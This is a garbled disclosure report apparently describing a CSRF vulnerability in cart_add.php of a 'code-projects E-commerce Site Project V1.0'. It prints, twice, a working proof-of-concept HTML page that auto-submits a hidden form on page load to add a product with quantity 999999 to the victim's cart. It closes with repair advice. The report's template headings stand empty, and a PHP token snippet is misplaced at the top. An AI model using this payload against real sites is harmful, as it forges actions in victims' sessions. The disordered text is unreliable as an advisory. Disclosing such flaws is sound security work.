---
<!-- csrf_balancelee.html -->
<!DOCTYPE html>
<html>
<body onload="document.forms[0].submit();">
<form action="http://localhost/ecommerce/cart_add.php" method="POST">
<input type="hidden" name="id" value="2"> <!-- Products ID -->
<input type="hidden" name="quantity" value="999999"> <!-- Malicious quantity -->
</form>
</body>
</html>
---if (!isset($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
code-projects E-commerce Site Project V1.0/cart_add.php CSRF Attack
NAME OF AFFECTED PRODUCT(S)
Vendor Homepage
AFFECTED AND/OR FIXED VERSION(S)
submitter
Vulnerable File
VERSION(S)
Software Link
PROBLEM TYPE
Vulnerability Type
Root Cause
Impact
DESCRIPTION
Vulnerability details and POC
Vulnerability Name:
POC Example：
--- <!-- csrf_balancelee.html --> <!DOCTYPE html> <html> <body onload="document.forms[0].submit();"> <form action="http://localhost/ecommerce/cart_add.php" method="POST"> <input type="hidden" name="id" value="2"> <!-- Products ID --> <input type="hidden" name="quantity" value="999999"> <!-- Malicious quantity --> </form> </body> </html> ---The following is the vulnerability exploitation process and the screenshot of the result：
Suggested repair
All sensitive user actions must include CSRF token validation.The following example code can be added:
Restrict Referer/Origin:
Reject requests without valid Referer or Origin headers.
Submit parameter validity verification:
Validate all inputs like product ID and quantity.